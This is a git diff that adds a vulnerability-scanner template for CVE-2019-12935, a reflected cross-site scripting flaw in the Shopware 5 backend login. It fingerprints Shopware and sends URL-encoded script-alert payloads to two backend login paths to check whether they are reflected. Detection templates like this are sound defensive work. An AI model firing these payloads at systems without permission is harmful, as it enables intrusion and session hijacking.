diff --git a/http/cves/2019/CVE-2019-12935.yaml b/http/cves/2019/CVE-2019-12935.yaml
new file mode 100644
index 00000000000..e8a00cffcb9
--- /dev/null
+++ b/http/cves/2019/CVE-2019-12935.yaml
@@ -0,0 +1,61 @@
+id: CVE-2019-12935
+
+info:
+  name: Shopware < 5.5.8 - Cross-Site Scripting
+  author: pussycat0x
+  severity: high
+  description: |
+    Shopware before 5.5.8 contains a reflected cross-site scripting (XSS) caused by unsanitized query string parameters in the backend/Login or backend/Login/load/ URI, letting attackers execute arbitrary scripts in the context of the victim's browser, exploit requires sending crafted URL to the victim.
+  impact: |
+    Attackers can execute malicious scripts in the victim's browser, potentially leading to session hijacking or defacement.
+  remediation: |
+    Update to version 5.5.8 or later.
+  reference:
+    - https://www.miggo.io/vulnerability-database/cve/CVE-2019-12935
+    - https://nvd.nist.gov/vuln/detail/CVE-2019-12935
+  classification:
+    cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:N/A:N
+    cvss-score: 7.4
+    cve-id: CVE-2019-12935
+    cwe-id: CWE-79
+  metadata:
+    verified: false
+    max-request: 2
+  tags: cve,cve2019,shopware,xss
+
+flow: http(1) && http(2)
+
+http:
+  - method: GET
+    path:
+      - "{{BaseURL}}/admin"
+      - "{{BaseURL}}/backend"
+
+    stop-at-first-match: true
+    matchers-condition: and
+    matchers:
+      - type: dsl
+        dsl:
+          - "status_code == 200"
+          - "contains_any(body, 'Realisiert mit Shopware','Realised with Shopware','Shopware Administration (c) shopware AG','<title>Shopware 5 - Backend (c) shopware AG</title>','Shopware.Application.start')"
+        condition: and
+        internal: true
+
+  - method: GET
+    path:
+      - "{{BaseURL}}/backend/Login?error=%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E"
+      - "{{BaseURL}}/backend/Login/load/?param=%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E"
+
+    stop-at-first-match: true
+    matchers-condition: and
+    matchers:
+      - type: word
+        part: body
+        words:
+          - "<script>alert(document.domain)</script>"
+
+      - type: status
+        status:
+          - 200
+          - 401
+        condition: or